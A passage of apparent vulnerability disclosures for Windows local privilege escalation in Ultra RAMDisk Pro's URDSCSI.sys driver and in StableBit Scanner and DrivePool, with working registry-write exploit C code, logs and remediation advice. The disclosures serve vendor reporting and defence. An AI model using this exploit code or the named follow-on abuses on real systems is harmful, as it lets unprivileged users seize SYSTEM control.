const wchar_t *value_name,
const wchar_t *data,
DWORD *out_len)
{
DWORD type = REG_SZ;
DWORD data_len = (DWORD)((wcslen(data) + 1) * sizeof(wchar_t));
size_t cap = (wcslen(key) + 1 + wcslen(value_name) + 1 + wcslen(data) + 1) *
sizeof(wchar_t) + sizeof(DWORD) * 2;
size_t off = 0;
BYTE *buf = (BYTE *)calloc(1, cap);
if (!buf) {
return NULL;
}
if (!append_wz(buf, cap, &off, key) ||
!append_wz(buf, cap, &off, value_name) ||
!append_bytes(buf, cap, &off, &type, sizeof(type)) ||
!append_bytes(buf, cap, &off, &data_len, sizeof(data_len)) ||
!append_bytes(buf, cap, &off, data, data_len)) {
free(buf);
return NULL;
}
*out_len = (DWORD)off;
return buf;
}
static BYTE *build_write_request_dword(const wchar_t *key,
const wchar_t *value_name,
DWORD value,
DWORD *out_len)
{
DWORD type = REG_DWORD;
DWORD data_len = sizeof(value);
size_t cap = (wcslen(key) + 1 + wcslen(value_name) + 1) * sizeof(wchar_t) +
sizeof(DWORD) * 3;
size_t off = 0;
BYTE *buf = (BYTE *)calloc(1, cap);
if (!buf) {
return NULL;
}
if (!append_wz(buf, cap, &off, key) ||
!append_wz(buf, cap, &off, value_name) ||
!append_bytes(buf, cap, &off, &type, sizeof(type)) ||
!append_bytes(buf, cap, &off, &data_len, sizeof(data_len)) ||
!append_bytes(buf, cap, &off, &value, sizeof(value))) {
free(buf);
return NULL;
}
*out_len = (DWORD)off;
return buf;
}
static BYTE *build_delete_key_request(const wchar_t *key, DWORD *out_len)
{
size_t cap = (wcslen(key) + 1) * sizeof(wchar_t);
BYTE *buf = (BYTE *)calloc(1, cap);
if (!buf) {
return NULL;
}
memcpy(buf, key, cap);
*out_len = (DWORD)cap;
return buf;
}
static int send_ioctl(HANDLE device, DWORD ioctl, BYTE *buf, DWORD len)
{
DWORD bytes = 0;
BOOL ok = DeviceIoControl(device,
ioctl,
buf,
len,
NULL,
0,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"DeviceIoControl(0x%08lx) failed: %lu\n",
(unsigned long)ioctl, GetLastError());
return 1;
}
wprintf(L"DeviceIoControl(0x%08lx) returned success, bytes=%lu\n",
(unsigned long)ioctl, bytes);
return 0;
}
int wmain(int argc, wchar_t **argv)
{
const wchar_t *device_path = L"\\\\.\\SCDEmuDev0";
int trigger = 0;
int argi = 1;
if (argc < 2) {
usage(argv[0]);
return 0;
}
while (argi < argc) {
if (wcscmp(argv[argi], L"--trigger") == 0) {
trigger = 1;
++argi;
} else if (wcscmp(argv[argi], L"--device") == 0 && argi + 1 < argc) {
device_path = argv[argi + 1];
argi += 2;
} else {
break;
}
}
if (!trigger) {
usage(argv[0]);
return 0;
}
if (argi >= argc) {
usage(argv[0]);
return 1;
}
DWORD ioctl = 0;
DWORD req_len = 0;
BYTE *req = NULL;
if (wcscmp(argv[argi], L"--write-sz") == 0) {
if (argi + 3 >= argc) {
usage(argv[0]);
return 1;
}
ioctl = IOCTL_SCDEMU_REG_WRITE_VALUE;
req = build_write_request_sz(argv[argi + 1], argv[argi + 2], argv[argi + 3], &req_len);
} else if (wcscmp(argv[argi], L"--write-dword") == 0) {
if (argi + 3 >= argc) {
usage(argv[0]);
return 1;
}
wchar_t *endp = NULL;
DWORD value = wcstoul(argv[argi + 3], &endp, 0);
if (!endp || *endp) {
fwprintf(stderr, L"Invalid DWORD value: %ls\n", argv[argi + 3]);
return 1;
}
ioctl = IOCTL_SCDEMU_REG_WRITE_VALUE;
req = build_write_request_dword(argv[argi + 1], argv[argi + 2], value, &req_len);
} else if (wcscmp(argv[argi], L"--delete-empty-key") == 0) {
if (argi + 1 >= argc) {
usage(argv[0]);
return 1;
}
ioctl = IOCTL_SCDEMU_DELETE_EMPTY_KEY;
req = build_delete_key_request(argv[argi + 1], &req_len);
} else {
usage(argv[0]);
return 1;
}
if (!req || !req_len) {
fwprintf(stderr, L"Failed to build request buffer.\n");
free(req);
return 1;
}
HANDLE dev = CreateFileW(device_path,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (dev == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"CreateFileW(%ls) failed: %lu\n", device_path, GetLastError());
free(req);
return 1;
}
wprintf(L"Opened %ls, sending %lu-byte request to IOCTL 0x%08lx\n",
device_path, req_len, (unsigned long)ioctl);
int rc = send_ioctl(dev, ioctl, req, req_len);
CloseHandle(dev);
free(req);
return rc;
}
Ultra RAMDisk Pro 1.82 Kernel Driver URDSCSI.sys Local Privilege Escalation via Arbitrary Registry Value Write
Summary
Ultra RAMDisk Pro installs a WHQL-signed kernel driver, URDSCSI.sys, that exposes a user-reachable control device at \\.\UltraRAMDiskIOCTL. A standard local user can send IOCTL 0x222B30 with command 0x08 to make the driver call RtlCreateRegistryKey and RtlWriteRegistryValue on caller-selected registry paths and values.
The validation below used a benign test key under HKLM\SOFTWARE\VendorRepro. Direct registry writes by the standard user failed with Access is denied, but the same user wrote a unique marker value through the vendor driver. This proves a local registry DACL bypass from a standard Medium Integrity user.
An unprivileged user can exploit an arbitrary registry value write primitive to achieve local privilege escalation under certain circumstances, such as overwriting service ImagePath or FailureCommand entries to redirect SYSTEM-level execution, injecting malicious paths into COM server registrations, or modifying autorun and Winlogon keys to establish persistent privileged code execution.
Affected Product and Version
- Product: Ultra RAMDisk Pro 1.82 WHQL
- Installed application:
C:\Program Files (x86)\Ultra RAMDisk\UltraRAMDisk.exe - Installed application SHA-256:
EB95CD6305171CEA4CED603F3230BB857F5AAB6BD553D3EFCDFC77A748657339 - Installed application version:
1.82 - Driver:
C:\Windows\System32\drivers\URDSCSI.sys - Driver SHA-256:
C16DF6E011ACB960EF2342C509F861CAEB1940044257C2571CBF28FCC42231A9 - Driver version:
1.82 - Driver signature: Valid,
Microsoft Windows Hardware Compatibility Publisher - Supporting bus driver:
C:\Windows\System32\drivers\URDBus.sys - Supporting bus driver SHA-256:
F69263CE716416A8DB3DB50E4F5C5149EDD935008EA434BBAE3A74ED884670B0
Download URL and SHA-256
- Download URL used:
https://blog.kakaocdn.net/dn/bPLCZJ/btsMWYgdSg1/H3d2IrXKdzv7lwmzxJwmuk/UltraRAMDisk-Pro-1.82-WHQL.exe?attach=1&knm=tfile.exe - File name:
UltraRAMDisk-Pro-1.82-WHQL.exe - Installer SHA-256:
CB438564A72B12D754F0D17B46E29899F6327B464D7024394EC877284DF995A2 - Installer signature: Valid,
ieungSoft (Taekwon Kim)
Vulnerability Type
Local privilege boundary bypass / arbitrary registry value creation and write from kernel context.
Impact
A standard local user can write caller-controlled values under machine-wide registry hives such as HKLM, bypassing normal registry ACLs. Depending on the target path and product configuration, this primitive may enable tampering with protected machine configuration or staging follow-on local privilege escalation. The proof below writes only to a controlled test key.
Test Environment
- OS: Windows 10 Pro, build
26200, x64 - Attacker context: standard local user
win11\low - Integrity level: Medium
- Relevant group membership:
BUILTIN\Users; no Administrators group membership - Test object:
HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof
Identity evidence:
User Name SID
========= ============================================
win11\low S-1-5-21-2301410722-4114373468-508074991-1001
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Driver Load / Setup Steps
The product was installed using the vendor installer. The installer registered the WHQL driver package as oem3.inf:
Published Name: oem3.inf
Original Name: urddriver.inf
Provider Name: ieungSoft
Class Name: System
Driver Version: 12/25/2024 1.82.0.0
Signer Name: Microsoft Windows Hardware Compatibility Publisher
The relevant services were running:
SERVICE_NAME: URDBus
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \SystemRoot\System32\drivers\URDBus.sys
LOAD_ORDER_GROUP : Extended Base
DISPLAY_NAME : Ultra RAMDisk Bus Enumerator
SERVICE_NAME: URDSCSI
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \SystemRoot\System32\drivers\URDSCSI.sys
LOAD_ORDER_GROUP : SCSI Miniport
DISPLAY_NAME : Ultra RAMDisk SCSI Controller
Reproduction Steps
- Install Ultra RAMDisk Pro 1.82 WHQL.
- Confirm
URDBusandURDSCSIare running. - As Administrator, create a controlled test key:
reg add HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /f
- As a standard user, confirm the control device is reachable:
[IDENTITY] win11\low
OPEN OK \\.\UltraRAMDiskIOCTL
- As the same standard user, attempt a direct registry write:
reg add HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /v DirectLowWrite /t REG_SZ /d SHOULD_NOT_WRITE /f
- As the same standard user, send the vendor-driver registry-write request:
ultraramdisk_urdscsi_registry_write_poc.exe --trigger --i-understand-registry-write --write-sz \Registry\Machine\SOFTWARE\VendorRepro\UltraRAMDiskProof DriverWrittenMarker2 ULTRARAMDISK-REG-MARKER-30b0f4a0-2272-4628-b16f-3c1eb32cee48
- As Administrator, query the test key:
reg query HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /v DriverWrittenMarker2
Baseline Evidence
The standard user could not directly write to the protected HKLM test key:
ERROR: Access is denied.
Exploit Evidence
The same standard user sent IOCTL 0x222B30, command 0x08, to \\.\UltraRAMDiskIOCTL:
Opened target only after gates. Sending 1174-byte command 0x00000008 to IOCTL 0x00222b30.
DeviceIoControl returned success, bytes=1174
The registry value was created under HKLM with the exact marker supplied by the standard user:
HKEY_LOCAL_MACHINE\SOFTWARE\VendorRepro\UltraRAMDiskProof
DriverWrittenMarker2 REG_SZ ULTRARAMDISK-REG-MARKER-30b0f4a0-2272-4628-b16f-3c1eb32cee48
Why This Proves the Vulnerability
The test user is a standard local user at Medium Integrity. Direct access to the protected HKLM key fails with Access is denied. The same user can open the vendor control device and submit a registry-write command. The driver then creates or writes the selected registry value from kernel context, bypassing the Windows registry ACL that blocked the direct write.
Static analysis of URDSCSI.sys matches the live behavior: IOCTL 0x222B30 dispatches command 0x08 to a handler that parses a caller-supplied native registry key path, value name, registry type, and value data, then calls RtlCreateRegistryKey and RtlWriteRegistryValue without an authorization check or path restriction.
Cleanup Steps
Remove the controlled test key:
reg delete HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /f
No reboot or shutdown was performed during validation.
Suggested Remediation
- Restrict
\\.\UltraRAMDiskIOCTLso unprivileged users cannot access private driver-control IOCTLs. - Add explicit authorization checks before any registry-write operation.
- Restrict registry writes to vendor-owned configuration keys only, if this functionality is required.
- Avoid exposing general-purpose registry write primitives through
FILE_ANY_ACCESSIOCTLs.
POC
The following minimal source builds the request used above. It is gated so no device is opened unless both --trigger and --i-understand-registry-write are supplied.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>
#define IOCTL_ULTRARAMDISK_CONTROL 0x00222B30UL
#define URD_CMD_REG_WRITE 0x00000008UL
#define URD_REG_HEADER_SIZE 1052UL
static int checked_wcs_copy(wchar_t *dst, size_t dst_chars, const wchar_t *src) {
size_t n = wcslen(src);
if (n >= dst_chars) return 0;
memcpy(dst, src, (n + 1) * sizeof(wchar_t));
return 1;
}
static BYTE *build_request(const wchar_t *key, const wchar_t *value_name,
DWORD type, const void *data, DWORD data_len,
DWORD *out_len) {
DWORD total = URD_REG_HEADER_SIZE + data_len;
BYTE *buf = (BYTE *)calloc(1, total);
if (!buf) return NULL;
*(DWORD *)(buf + 0) = URD_CMD_REG_WRITE;
if (!checked_wcs_copy((wchar_t *)(buf + 4), 260, key) ||
!checked_wcs_copy((wchar_t *)(buf + 524), 260, value_name)) {
free(buf);
return NULL;
}
*(DWORD *)(buf + 1044) = type;
*(DWORD *)(buf + 1048) = data_len;
memcpy(buf + URD_REG_HEADER_SIZE, data, data_len);
*out_len = total;
return buf;
}
int wmain(int argc, wchar_t **argv) {
int trigger = 0, acknowledged = 0, argi = 1;
while (argi < argc) {
if (wcscmp(argv[argi], L"--trigger") == 0) { trigger = 1; argi++; }
else if (wcscmp(argv[argi], L"--i-understand-registry-write") == 0) { acknowledged = 1; argi++; }
else break;
}
if (!trigger || !acknowledged || argi + 3 >= argc || wcscmp(argv[argi], L"--write-sz") != 0) {
fwprintf(stderr, L"usage: %ls --trigger --i-understand-registry-write --write-sz <native-key> <value-name> <data>\n", argv[0]);
return 1;
}
DWORD data_len = (DWORD)((wcslen(argv[argi + 3]) + 1) * sizeof(wchar_t));
DWORD req_len = 0;
BYTE *req = build_request(argv[argi + 1], argv[argi + 2], REG_SZ,
argv[argi + 3], data_len, &req_len);
if (!req) return 1;
HANDLE dev = CreateFileW(L"\\\\.\\UltraRAMDiskIOCTL",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (dev == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"CreateFileW failed: %lu\n", GetLastError());
free(req);
return 1;
}
DWORD bytes = 0;
BOOL ok = DeviceIoControl(dev, IOCTL_ULTRARAMDISK_CONTROL,
req, req_len, req, req_len, &bytes, NULL);
if (!ok) fwprintf(stderr, L"DeviceIoControl failed: %lu\n", GetLastError());
else wprintf(L"DeviceIoControl returned success, bytes=%lu\n", bytes);
CloseHandle(dev);
free(req);
return ok ? 0 : 1;
}
StableBit Scanner 2.6.13.4088 Local Privilege Escalation via Insecure Deserialization
Summary
StableBit Scanner exposes a local .NET Remoting IPC endpoint from ScannerService, which runs as LocalSystem. A standard local user can connect to \\.\pipe\Scanner2_Comm, perform a benign remoting call, and send a BinaryFormatter gadget as the object TaskState argument to Comm1.StartTask(Guid, object, Guid[]).
Affected Product and Version
- Product: StableBit Scanner
- Version:
2.6.13.4088 - Bundle file version:
2.6.4088.0 - Service:
ScannerService - Service account:
LocalSystem - IPC endpoint:
ipc://Scanner2_Comm/Comm1 - Named pipe:
\\.\pipe\Scanner2_Comm
Download URL and SHA-256
- Download URL:
https://covecube.download/ScannerWindows/release/download/StableBit.Scanner_2.6.13.4088_Release.exe - File name:
StableBit.Scanner_2.6.13.4088_Release.exe - SHA-256:
C95A72613C59B9EF5F3EF5C7862FC3A4276D62E95C5395E7D5B76477842A565B - Signature:
Valid, signerCovecube Inc.
Primary component hashes:
Scanner.Service.exe EFB39F126501ACF11582A1F27C170E6FA76F88ED054F91549760B02410172537
Scanner.Comm.dll 74B636E731D9315B3B345F5A606529AC48AE7804F58263B447E79EA62B45B5D6
Scanner.ServiceLib.dll E2FCEF4B83199382EE9E342EB7AA7479E93B9EF7F4EA063BDEFEB96B89606D64
Cove.NativeSafe.dll 8907F561BF456C5F7ACC03BD7F07DBCBC535F6D0B3B6C75540A7AEBF30C2D1BC
Vulnerability Type
Local privilege escalation through unsafe .NET Remoting BinaryFormatter deserialization in a LocalSystem service.
Impact
A standard local user can execute code in the ScannerService process context, which is LocalSystem. This provides full local privilege escalation. The demonstration writes a controlled marker file and grants the standard Users group read access only to that marker file so the low-privilege exploit process can print the result.
Test Environment
- Host:
EXPDEV - OS: Microsoft Windows 11 Pro, 64-bit
- Setup user: local Administrator
- Attacker user:
expdev\low - Attacker integrity: Medium
- Protected marker path:
C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt
Setup Steps
The official WiX Burn installer was executed with no-restart parameters:
StableBit.Scanner_2.6.13.4088_Release.exe /quiet /norestart /log install.log
The install log reported:
Applied execute package: ScannerSetup_x64, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart: No
Exit code: 0x0, restarting: No
The installed service configuration showed LocalSystem:
SERVICE_NAME: ScannerService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : "C:\Program Files (x86)\StableBit\Scanner\Service\Scanner.Service.exe"
DISPLAY_NAME : StableBit Scanner Service
SERVICE_START_NAME : LocalSystem
Reproduction Steps
- Install StableBit Scanner 2.6.13.4088 with the no-restart command shown above.
- Create a controlled marker directory that only
AdministratorsandSYSTEMcan write. - As the standard user, run the exploit:
stablebit_scanner_remoting_system_marker_exploit.exe --assembly "C:\Program Files (x86)\StableBit\Scanner\Service\Scanner.Comm.dll" --marker-path "C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt" --marker "STABLEBIT-SCANNER-SYSTEM-MARKER-<unique-guid>" --trigger-rce --wait 20
The exploit first verifies baseline denial, connects to \\.\pipe\Scanner2_Comm, calls GetServiceState, and sends a BinaryFormatter gadget as the TaskState argument to StartTask(Guid, object, Guid[]).
Baseline Evidence
The marker directory allowed only Administrators and SYSTEM:
C:\ProgramData\VendorRepro\stablebit_scanner_rce NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
The low-privilege process identified itself as a standard Medium Integrity user and could not write the marker directly:
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] direct_marker_write=DENIED path=C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt error=Access to the path 'C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt' is denied.
Exploit Evidence
The same standard-user process could connect to the LocalSystem remoting pipe and call a benign method:
[PIPE] path=\\.\pipe\Scanner2_Comm
[PIPE] connect=SUCCESS
[REMOTING] GetServiceState=Running
[REMOTING] BootStartedAt=2026-05-08T22:41:58.7886142-07:00
The standard-user process then sent the deserialization marker payload:
[EXPLOIT] Sending BinaryFormatter gadget as StartTask TaskState.
[EXPLOIT] Remote method returned an exception after deserialization: The given key was not present in the dictionary.
[MARKER] read=SUCCESS path=C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt
[RESULT] system_marker_found=True
The marker file contained whoami /all output from LocalSystem:
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
The marker file ACL showed that the SYSTEM payload also granted low-privilege read access to that single test file:
C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt BUILTIN\Users:(R)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
Why This Proves the Vulnerability
The baseline proves that the standard user could not directly create or modify the protected marker file. The remoting evidence proves that the same standard user could reach ScannerService over the local IPC remoting channel. The marker file proves code execution in the service context because it contains nt authority\system output written after the low-privilege process sent a serialized object as a remoting argument.
The remote method exception does not disprove exploitation. The marker was written before the product method completed, during deserialization of the object TaskState argument. This is the expected failure mode for many deserialization proofs: the payload executes first, and normal application logic may then reject the method arguments.
Cleanup Steps
The product was uninstalled with no-restart parameters:
StableBit.Scanner_2.6.13.4088_Release.exe /uninstall /quiet /norestart /log uninstall.log
The uninstall log reported:
Applied execute package: ScannerSetup_x64, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart: No
Exit code: 0x0, restarting: No
Post-cleanup checks:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
Program files Scanner exists: False
Runtime marker dir exists after cleanup: False
Runtime work dir exists after cleanup: False
No reboot or shutdown was initiated or requested.
Suggested Remediation
- Remove BinaryFormatter-based .NET Remoting for local IPC, or replace it with a protocol that does not deserialize arbitrary object graphs.
- Do not expose privileged remoting endpoints to Builtin Users unless every operation is authenticated, authorized, and uses a safe serializer.
- If remoting must remain temporarily, set the server formatter to the most restrictive possible type filter level and reject methods that accept
object, delegate, collection, or interface-typed arguments from untrusted clients. - Add a per-client authorization check before deserialization is possible, not only inside method handlers.
- Run privileged disk-management operations behind a hardened broker interface with explicit command schemas.
POC
using System;
using System.IO;
using System.IO.Pipes;
using System.Reflection;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Ipc;
using System.Threading;
internal static class StableBitScannerReachabilityPoc
{
private const string DefaultPipeName = "Scanner2_Comm";
private const string DefaultUri = "ipc://Scanner2_Comm/Comm1";
private static int Main(string[] args)
{
string pipeName = DefaultPipeName;
string uri = DefaultUri;
string assemblyPath = null;
bool callGetServiceState = false;
for (int i = 0; i < args.Length; i++)
{
string arg = args[i];
if (arg.Equals("--pipe", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
pipeName = args[++i];
}
else if (arg.Equals("--uri", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
uri = args[++i];
}
else if (arg.Equals("--assembly", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
assemblyPath = args[++i];
}
else if (arg.Equals("--call-get-service-state", StringComparison.OrdinalIgnoreCase))
{
callGetServiceState = true;
}
else if (arg.Equals("--help", StringComparison.OrdinalIgnoreCase) || arg.Equals("-h", StringComparison.OrdinalIgnoreCase))
{
PrintUsage();
return 0;
}
else
{
Console.Error.WriteLine("Unknown or incomplete argument: {0}", arg);
PrintUsage();
return 2;
}
}
Console.WriteLine("StableBit Scanner remoting reachability probe");
Console.WriteLine("This PoC does not send a BinaryFormatter gadget and does not modify system state.");
if (!ProbeNamedPipe(pipeName))
{
return 1;
}
if (!callGetServiceState)
{
Console.WriteLine("Pipe reachability confirmed. Use --call-get-service-state with --assembly for a benign remoting method call.");
return 0;
}
if (string.IsNullOrEmpty(assemblyPath))
{
Console.Error.WriteLine("--call-get-service-state requires --assembly <path-to-Scanner.Comm.dll>.");
return 2;
}
return CallGetServiceState(uri, assemblyPath);
}
private static bool ProbeNamedPipe(string pipeName)
{
Console.WriteLine("Testing local named pipe: \\\\.\\pipe\\{0}", pipeName);
try
{
using (var pipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None))
{
pipe.Connect(3000);
Console.WriteLine("Connected to named pipe as current user.");
return true;
}
}
catch (TimeoutException)
{
Console.Error.WriteLine("Timed out connecting to the pipe. The service may not be running.");
return false;
}
catch (UnauthorizedAccessException ex)
{
Console.Error.WriteLine("Access denied opening the pipe: {0}", ex.Message);
return false;
}
catch (IOException ex)
{
Console.Error.WriteLine("Pipe I/O error: {0}", ex.Message);
return false;
}
}
private static int CallGetServiceState(string uri, string assemblyPath)
{
string assemblyFullPath = Path.GetFullPath(assemblyPath);
string assemblyDirectory = Path.GetDirectoryName(assemblyFullPath);
AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs eventArgs)
{
string candidate = Path.Combine(assemblyDirectory, new AssemblyName(eventArgs.Name).Name + ".dll");
return File.Exists(candidate) ? Assembly.LoadFrom(candidate) : null;
};
try
{
var props = new System.Collections.Hashtable();
props["name"] = "StableBitScannerReachabilityClient-" + Guid.NewGuid().ToString("N");
props["secure"] = true;
ChannelServices.RegisterChannel(new IpcClientChannel(props, null), true);
Assembly scannerComm = Assembly.LoadFrom(assemblyFullPath);
Type commType = scannerComm.GetType("ScannerComm.Comm1", true);
object proxy = Activator.GetObject(commType, uri);
MethodInfo method = commType.GetMethod("GetServiceState", new[] { typeof(DateTime).MakeByRefType() });
if (method == null)
{
Console.Error.WriteLine("Could not find Comm1.GetServiceState(DateTime&).");
return 3;
}
object[] methodArgs = { DateTime.MinValue };
object state = method.Invoke(proxy, methodArgs);
Console.WriteLine("GetServiceState returned: {0}", state);
Console.WriteLine("BootStartedAt: {0:o}", (DateTime)methodArgs[0]);
return 0;
}
catch (TargetInvocationException ex)
{
Console.Error.WriteLine("Remote call failed: {0}", ex.InnerException != null ? ex.InnerException.Message : ex.Message);
return 4;
}
catch (Exception ex)
{
Console.Error.WriteLine("Remoting probe failed: {0}", ex.Message);
return 4;
}
}
private static void PrintUsage()
{
Console.WriteLine("Usage:");
Console.WriteLine(" stablebit_scanner_remoting_reachability_poc.exe");
Console.WriteLine(" stablebit_scanner_remoting_reachability_poc.exe --call-get-service-state --assembly <Scanner.Comm.dll>");
Console.WriteLine();
Console.WriteLine("Options:");
Console.WriteLine(" --pipe <name> Named pipe to test. Default: {0}", DefaultPipeName);
Console.WriteLine(" --uri <uri> Remoting URI. Default: {0}", DefaultUri);
Console.WriteLine(" --assembly <Scanner.Comm.dll> Required only for the benign remoting method call.");
}
}
StableBit DrivePool 2.3.13.1687 Local Privilege Escalation via Insecure Deserialization
Summary
StableBit DrivePool exposes a local .NET Remoting IPC endpoint from DrivePoolService, which runs as LocalSystem. A standard local user can connect to \\.\pipe\StableBitDrivePool_Comm, perform a benign remoting call, and send a BinaryFormatter gadget as the object TaskState argument to Comm1.StartTask(Guid, object, Guid[], bool, bool).
As a result, arbitrary command execution under SYSTEM privilege can be achieved.
Affected Product and Version
- Product: StableBit DrivePool
- Version:
2.3.13.1687 - Bundle file version:
2.3.1687.0 - Service:
DrivePoolService - Service account:
LocalSystem - IPC endpoint:
ipc://StableBitDrivePool_Comm/Comm1 - Named pipe:
\\.\pipe\StableBitDrivePool_Comm
Download URL and SHA-256
- Download URL:
https://covecube.download/DrivePoolWindows/release/download/StableBit.DrivePool_2.3.13.1687_x64_Release.exe - File name:
StableBit.DrivePool_2.3.13.1687_x64_Release.exe - SHA-256:
362F7B35DA84A5ABC73F1A730567702F052C622E9EFAA32E1AD0F059A72E9DD7 - Signature:
Valid, signerCovecube Inc.
Primary component hashes:
DrivePool.Service.exe 634D99143FF06A0BE0C9445996A1D2B774C21E0377450B7F9FF0BA1D6E2C66F2
DrivePool.Comm.dll F7F71512A57F4018059358E72108F2B967DD01185046C408AE08A0A771D50ED7
Cove.Native.dll 372891779510CC32A76B6FA3B612EBE47B3363612E41A93F7202F96407EA62BA
Cove.Util.dll 6DBF9579A811516AF1DB8D332C46963A9FA460DF0E88EDD2E29FB978E51E26FA
Installed driver hashes observed during setup:
covefs.sys 7D7F074DF8B928792EB6B77F84016F464CD29ADA9CF0529DD830457CA7C19A84 Valid, Covecube Inc.
covefs_disk.sys 7562AE69D2EDD3832E9A72EB29715E720DD2806A88CCD3D59A666B9D1BB26476 Valid, Microsoft Windows Hardware Compatibility Publisher
Vulnerability Type
Local privilege escalation through unsafe .NET Remoting BinaryFormatter deserialization in a LocalSystem service.
Impact
A standard local user can execute code in the DrivePoolService process context, which is LocalSystem. This provides full local privilege escalation. The demonstration writes a controlled marker file and grants the standard Users group read access only to that marker file so the low-privilege exploit process can print the result.
Test Environment
- Host:
EXPDEV - OS: Microsoft Windows 11 Pro, 64-bit
- Setup user: local Administrator
- Attacker user:
expdev\low - Attacker integrity: Medium
- Protected marker path:
C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt
Setup Steps
The official WiX Burn installer installed the product service and drivers:
StableBit.DrivePool_2.3.13.1687_x64_Release.exe /quiet /norestart /log install.log
The install log reported:
Applied execute package: DrivePoolApplication, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart: No
Exit code: 0x0, restarting: No
The installed service configuration showed LocalSystem:
SERVICE_NAME: DrivePoolService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : "C:\Program Files\StableBit\DrivePool\DrivePool.Service.exe"
DISPLAY_NAME : StableBit DrivePool Service
DEPENDENCIES : vds
SERVICE_START_NAME : LocalSystem
Reproduction Steps
- Install StableBit DrivePool 2.3.13.1687 with the no-restart command shown above.
- Create a controlled marker directory that only
AdministratorsandSYSTEMcan write. - As the standard user, run the exploit:
stablebit_drivepool_remoting_system_marker_exploit.exe --assembly "C:\Program Files\StableBit\DrivePool\DrivePool.Comm.dll" --marker-path "C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt" --marker "STABLEBIT-DRIVEPOOL-SYSTEM-MARKER-<unique-guid>" --trigger-rce --wait 20
The exploit first verifies baseline denial, connects to \\.\pipe\StableBitDrivePool_Comm, calls GetServiceState, and sends a BinaryFormatter gadget as the TaskState argument to StartTask(Guid, object, Guid[], bool, bool).
Baseline Evidence
The marker directory allowed only Administrators and SYSTEM:
C:\ProgramData\VendorRepro\stablebit_drivepool_rce NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
The low-privilege process identified itself as a standard Medium Integrity user and could not write the marker directly:
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] direct_marker_write=DENIED path=C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt error=Access to the path 'C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt' is denied.
Exploit Evidence
The same standard-user process could connect to the LocalSystem remoting pipe and call a benign method:
[PIPE] path=\\.\pipe\StableBitDrivePool_Comm
[PIPE] connect=SUCCESS
[REMOTING] GetServiceState=Running
[REMOTING] BootStartedAt=2026-05-08T22:59:20.4134891-07:00
The standard-user process then sent the deserialization marker payload:
[EXPLOIT] Sending BinaryFormatter gadget as StartTask TaskState.
[EXPLOIT] Remote method returned an exception after deserialization: The given key was not present in the dictionary.
[MARKER] read=SUCCESS path=C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt
[RESULT] system_marker_found=True
The marker file contained whoami /all output from LocalSystem:
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
The marker file ACL showed that the SYSTEM payload also granted low-privilege read access to that single test file:
C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt BUILTIN\Users:(R)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
Why This Proves the Vulnerability
The baseline proves that the standard user could not directly create or modify the protected marker file. The remoting evidence proves that the same standard user could reach DrivePoolService over the local IPC remoting channel. The marker file proves code execution in the service context because it contains nt authority\system output written after the low-privilege process sent a serialized object as a remoting argument.
